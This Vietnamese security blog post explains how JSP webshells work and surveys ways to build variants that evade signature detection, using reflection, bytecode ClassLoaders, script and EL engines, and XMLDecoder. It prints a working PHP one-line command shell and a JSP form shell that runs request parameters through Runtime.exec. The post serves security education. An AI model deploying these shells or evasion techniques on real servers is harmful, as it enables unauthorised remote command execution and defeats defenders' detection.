- vừa được xem lúc

Java Webshell - Part 1: Một vài phương pháp tạo ra JSP Webshell

0 0 9

Người đăng: Real Alpha Man

Theo Viblo Asia

Đối với những người làm security, chúng ta hẳn đã khá quen thuộc với khái niệm webshell. Đó là một file chứa code có khả năng nhận đầu vào từ request, sau đó thực hiện shell command trên hệ thống và trả về kết quả, kiểu như với php là file .php:

<?php
echo system($_GET['cmd']);
?>

Hay java với file .jsp

<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "<BR>"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } }
%>
</pre>
</BODY></HTML> 

Lúc ấy, webshell sẽ được lưu lại trong folder source code, và ta access trực tiếp nó trên trình duyệt:

Trong bài viết này mình sẽ đi sâu hơn vào cách JSP Webshell thực thi, cũng như các dạng webshell chúng ta có thể tạo ra trong context của JSP.

1. Khái niệm JSP

Java Server Page (JSP) là một công nghệ cho phép tạo các dynamic method, độc lập với nền tảng để xây dựng các ứng dụng dựa trên Web. JSP có quyền truy cập vào toàn bộ Java API.

.jsp -> .java -> .class

Khi một file .jsp được truy cập bởi Web server lần đầu tiên, nó sẽ được translate thành java source file (.java file) bởi Web Server (ví dụ Tomcat). Sau đó java source file sẽ được compile thành Java bytecode (.class) file bởi JDK, cuối cùng sẽ load vào trong memory bởi JVM.

Chúng ta có thể thấy rằng .jsp file khá giống với .php file, tuy nhiên trong JSP không có nhiều hàm để thực thi shell giống PHP. Nhưng vẫn còn rất nhiều cách thú vị để tạo biến thể JSP webshell để thực thi trong những ngữ cảnh khác nhau và bypass một số hệ thống phát hiện webshell.

2. Các phương thức tạo JSP Webshell

2.1. Các phương thức thường được sử dụng

Cách đơn giản và trực tiếp nhất: java.lang.Runtime#execjava.lang.ProcessBuilder. Đây là 2 cách phổ biến nên mình sẽ không đi sâu phân tích về nó.

Vấn đề của 2 cách này đó là nó quá đơn giản, vì vậy không thể bypass qua những hệ thống defender, thường detect thông qua signature.

2.2. Sử dụng cơ chế Reflection

Reflection là một cơ chế rất mạnh và linh hoạt để load các dynamic class. Vì nó có thể load các class chỉ dựa trên tên của class chúng ta nhập vào, vì vậy chúng ta có thể che giấu tên class, ví dụ Runtime dựa trên một số bước encrypt.

Mình thực hiện 1 hàm decode đơn giản để thấy được ta có thể kiểm soát các giá trị nhạy cảm như Runtime, exec. Có thể dùng một số mã hóa Base64, mã hóa vòng để bypass detect theo signature.

2.3. Load Java bytecode

Java Bytecode là mã máy dạng tệp .class. Nó là tập lệnh cho Máy ảo Java (JVM) và hoạt động tương tự như trình biên dịch. Chúng ta có thể tạo ra Java Bytecode từ một class dưới dạng file .java, và nếu bên trong class đó thực thi shell thì ta có thể chạy bytecode đó thành shell. Tương tự, nếu ta có 1 mảng bytecode chứa Runtime.exec bên trong và tải nó vào JVM thì ta cũng chạy được command.

Không có API nào được cung cấp để tải một mảng bytecode trong JDK. Tuy nhiên Java cung cấp một class là java.lang.ClassLoader dùng để load Java bytecode thành Class object. Có 3 method chính được gọi để đạt được điều đó:

  • loadClass: Tải một lớp theo tên lớp ta chỉ định. Nó sẽ invoke đệ quy tới lớp cha để xác định xem class đã tải chưa. Nếu chưa, nó sẽ gọi tới findClass

  • findClass: Load class dựa trên class name ta chỉ định vào một mảng byte, sau đó call defineClass.
  • defineClass: Load bytecode vào Class object.

2.3.1. Sử dụng defineClass

Chúng ta không có một API nào trực tiếp cho phép load từ bytecode sang class, tuy nhiên có thể thực hiện nó thông qua việc viết 1 class extends từ ClassLoader để thực hiện mục đích ấy.

Ta có 1 class Exploit extends từ ClassLoader, class này có hàm defineClass đã được override lại, thực hiện lấy input là byteCode dạng Base64, sau đó thực hiện load bytecode dựa vào method defineClass của ClassLoader. Khi Class đã được load, thực hiện hàm equals của class đó. Điều tiếp theo ta cần làm là tạo ra một bytecode từ 1 class có thể run được command. Đây là một class Exploit1 có chức năng cơ bản là lấy input từ request param cmd và execute như vậy:

Trường hợp này override hàm equals bởi vì equals là method mặc định của Object trong Java và ta có thể override nó để phục vụ mục đích là execute code. Hàm main không thực sự cần thiết, nó chỉ giúp ta print ra bytecode để copy dễ hơn, tất cả có thể dừng lại ở việc override hàm equals là đủ.

Lưu ý file Exploit1.java không cần thiết phải ở trên server, cái ta cần chỉ là bytecode của nó để cho vào input.

2.3.2. Sử dụng URLClassLoader

URLClassLoader là một class con của ClassLoader, mục đích là để load bytecode từ input là một URL.

2.4. Các class liên quan đến Expession Language

JSP Epression Language (EL) giúp dễ dàng truy cập dữ liệu ứng dụng được lưu giữ trong các thành phần JavaBeans. JSP EL cho phép bạn tạo các Expression, gồm số học và logic. Bên trong một JSP EL, bạn có thể sử dụng các integer, các số floating point, string, các hằng có sẵn true hoặc false cho các giá trị Boolean, và null.

2.4.1. ScriptEngineManager#eval

Có một công cụ để giúp chúng ta giao tiếp giữa Java và Javascript, đó là javax.script.ScriptEngineManager. Không có method eval trong Java, nhưng có trong ScriptEngineManager. Nó cũng tương tự hàm eval() trong php, khi có thể xem những giá trị bên trong như là các method và object.

Cách researcher cũng thường sử dụng ScriptEngineManager để echo ra output trong khai thác Deserialization no outbound mà chúng ta sẽ đề cập sau.

2.4.2 Tomcat EL -> ELProcessor#eval()

Trong lib của tomcat có 1 phương thức để triển khai EL là javax.el.ELProcessor trong el-api.jar của Tomcat.

Cách hoạt động cũng tương tự với ScriptEngineManager.

2.5. Thông qua XMLDecoder

java.beans.XMLDecoder là một class để process xml thành object, và ta có thể lợi dụng nó để tạo ra một webshell với payload.

Về việc lợi dụng XMLDecoder để làm webshell, các bạn có thể tham khảo ở đây, bao gồm rất nhiều payload khác nhau để RCE với nó.

Trong part 2 mình sẽ trình bày về kĩ thuật Memory Webshell và các biến thể của nó, mong độc giả sẽ đón đọc.

Nguồn

https://github.com/tennc/webshell

https://diniscruz.blogspot.com/2013/08/using-xmldecoder-to-execute-server-side.html

https://sec.vnpt.vn/2022/12/ky-thuat-memory-webshell-trong-cac-dot-khai-thac-redteam/

Bình luận

Bài viết tương tự

- vừa được xem lúc

Tổng hợp các bài hướng dẫn về Design Pattern - 23 mẫu cơ bản của GoF

Link bài viết gốc: https://gpcoder.com/4164-gioi-thieu-design-patterns/. Design Patterns là gì. Design Patterns không phải là ngôn ngữ cụ thể nào cả.

0 0 277

- vừa được xem lúc

Học Spring Boot bắt đầu từ đâu?

1. Giới thiệu Spring Boot. 1.1.

0 0 257

- vừa được xem lúc

Cần chuẩn bị gì để bắt đầu học Java

Cần chuẩn bị những gì để bắt đầu lập trình Java. 1.1. Cài JDK hay JRE.

0 0 37

- vừa được xem lúc

Sử dụng ModelMapper trong Spring Boot

Bài hôm nay sẽ là cách sử dụng thư viện ModelMapper để mapping qua lại giữa các object trong Spring nhé. Trang chủ của ModelMapper đây http://modelmapper.org/, đọc rất dễ hiểu dành cho các bạn muốn tìm hiểu sâu hơn. 1.

0 0 180

- vừa được xem lúc

[Java] 1 vài tip nhỏ khi sử dụng String hoặc Collection part 1

. Hello các bạn, hôm nay mình sẽ chia sẻ về mẹo check String null hay full space một cách tiện lợi. Mình sẽ sử dụng thư viện Lớp StringUtils download file jar để import vào thư viện tại (link).

0 0 55

- vừa được xem lúc

Deep Learning với Java - Tại sao không?

Muốn tìm hiểu về Machine Learning / Deep Learning nhưng với background là Java thì sẽ như thế nào và bắt đầu từ đâu? Để tìm được câu trả lời, hãy đọc bài viết này - có thể kỹ năng Java vốn có sẽ giúp bạn có những chuyến phiêu lưu thú vị. DJL là tên viết tắt của Deep Java Library - một thư viện mã ng

0 0 124